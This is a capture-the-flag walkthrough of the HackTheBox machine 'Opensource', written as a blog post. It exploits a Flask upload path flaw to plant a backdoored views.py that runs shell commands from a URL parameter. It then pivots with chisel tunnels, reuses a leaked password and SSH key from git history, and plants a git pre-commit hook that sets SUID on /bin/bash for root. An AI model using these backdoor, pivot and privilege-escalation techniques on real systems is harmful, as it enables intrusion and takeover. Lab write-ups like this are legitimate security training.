Opensource — Hackthebox Walkthrough

Kavishka Gihan
7 min readOct 8, 2022

--

User

Running my nmap scan, I saw there were a couple of open ports

nmap --open 10.10.11.164

PORT     STATE    SERVICE REASON      VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOm3Ocn3qQzvKFsAf8u2wdkpi0XryPX5W33bER74CfZxc4QPasF+hGBNSaCanZpccGuPffJ9YenksdoTNdf35cvhamsBUq6TD88Cyv9Qs68kWPJD71MkSDgoyMFIe7NTdzyWJJjmUcNHRvwfo6KQsVXjwC4MN+SkL6dLfAY4UawSNhJZGTiKu0snAV6TZ5ZYnmDpnKIEZzf/dOK6bBu4SCu9DRjPknuZkl7sKp3VCoI9CRIu1tihqs1NPhFa+XnHSRsULWtQqtmxZP5UXbmgwETxmpfw8M9XcMH0QXr8JSAdDkg2NtIapmPX/a3hVFATYg+idaEEQNlZHPUKLbCTyJ
80/tcp open http syn-ack Werkzeug/2.1.2 Python/3.10.3

|_http-title: upcloud - Upload files for Free!
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
3000/tcp filtered ppp no-response
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service

Looking at port 80, there was a static website. There I was able to download the source code for the application.

After downloading the source code, I unzipped the file and took a look at them. Seemed like it was a python application made using flask Looking at app/views.py we see the endpoints we can reach. One of them is, / which lets us upload files to the server with a POST request.

One thing to note here is that, once the file is uploaded the path of the file which is saved is determined based on the name of the filename we provide. And one more thing to note here is that the path is made using os.path.join() method.

This is where the vulnerability of the application lies. So this function will join whatever the values we give as below

As in the application, the uploaded files are stored in $PWD/public/uploads/filename . Well, you may be thinking you can use something like ../../filename and break out of that directory. But not really! If you look at the code closely, there is a function named get_file_name() called at the filename which is in the utils.py

This is a recursive function that replaces existing ../ in the filename with nothing. So if we were to provide ../../filename as the filename, this will resolve it to just filename . So using that won’t matter.

But if you look at how this os.path.join() function works, it mentions something interesting. Which is, if we were to specify an absolute path as the filename for example /home/file this will be saved /home/file instead of $PWD/public/uploads/home/file

Simply said, if you have a / at the start of your filename, no matter what's specified before, then it will be saved in the root of the file system. Therefore, what we can do is we can specify the filename as /app/app/views.py which will overwrite the real views.py (Note that you can only overwrite files as debug mode is set to True)

First, we have to make a python file called views.py which will give us Remote Code Execution.

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

@app.route('/kavigihan')
def kavigihan():
return os.system(request.args.get('cmd'))

Here the /kavigihan the endpoint will let us execute commands. Then we upload the file with the filename set to /app/app/views.py

Once its uploaded we should be able to execute commands by making a request to /kavigihan endpoint with cmd set to the command we need.

Here I am downloading a reverse shell that is hosted on my server and then executing it.

After I got a shell in my listener.

There wasn’t anything that important inside the container. Although, I saw that port 3000 was filtered in the nmap scan. Maybe that's cuz it's open only to the internal network. So I thought of forwarding that port using a tunnel from the container.

Therefore I started a server with chisel locally.

./chisel server -p 8000 -reverse -v

Then transferred chisel binary to the container and connected to the server to create a tunnel

./chisel client 10.10.14.29:8000 R:127.0.0.1:3000:172.17.0.1:3000

Then I accessed it at http://127.0.0.1:3000

It was Gitea which is an application to host git repos. I tried creating an account and logging in but that led me to nothing. Since I didn’t have any credentials to use here, I thought of taking a step back and looking at the source code again.

There I saw there was a .git folder there. So I thought of extracting the previously committed files from that. For that, I use GitTools extractor. I went to the directory where the .git folder was and executed this

extractor.sh . out

The extracted files should be dumped into the out directory. So looking through the files, I found some credentials in out/4-a76f8f75f7a4a12b706b0cf9c983796fa1985820/app/.vscode/settings.json file.

dev01:Soulless_Developer#2022

With these credentials, I was able to login to the Gitea application. Then I found a repo called home-backup owned by the dev01 user.

From that, I saw able to get the ssh private key of that user.

With this, I was able to ssh in as dev01 user

chmod 600 id_rsa
ssh -i id_rsa dev01@10.10.11.164

Root

Running pspy as dev01 user, we see a cron is executing a script called /usr/local/bin/git-sync

Looking at that script we can see it's doing a git commit from the home directory of the dev01 user.

#!/bin/bashcd /home/dev01/if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi

Guessing this cron is running as root, we can use a git hook to get the advantage of this and execute commands as root. So a git hook is a script that will be executed before or after a git commit is done. You can find them in .git/hooks in a git repo.

All we have to do is place a file called pre-commit in the .git/hooks

#!/bin/shchmod u+s /bin/bashif git rev-parse --verify HEAD >/dev/null 2>&1
then
against=HEAD
else
against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
fi
allownonascii=$(git config --bool hooks.allownonascii)exec 1>&2if [ "$allownonascii" != "true" ] &&test $(git diff --cached --name-only --diff-filter=A -z $against |
LC_ALL=C tr -d '[ -~]\0' | wc -c) != 0
then
cat <<\EOF
Error: Attempt to add a non-ASCII file name.
This can cause problems if you want to work with people on other platforms.To be portable it is advisable to rename the file.If you know what you are doing you can disable this check using:git config hooks.allownonascii true
EOF
exit 1
fi
# If there are whitespace errors, print the offending file names and fail.
exec git diff-index --check --cached $against --

Note that chmod +s /bin/bash is at the beginning of the file which will give the /bin/bash binary SUID permissions which will let us execute it as root. Or you could have just placed a reverse shell there as well. Once the cron runs, this script will get executed and you should be able to get a root shell with

bash -p

Rooted!

“If you have any questions, make sure to leave them down in the comments, or contact me through social media.”

Email — iamkavigihan@gmail.com
Instagram —
https://www.instagram.com/_kavi.gihan/
Discord — kavigihan#8518

Happy Hacking !!! 😄

--

--

Kavishka Gihan

Cyber Security Student | Machine author @hackthebox | find me on instagram @_kavi.gihan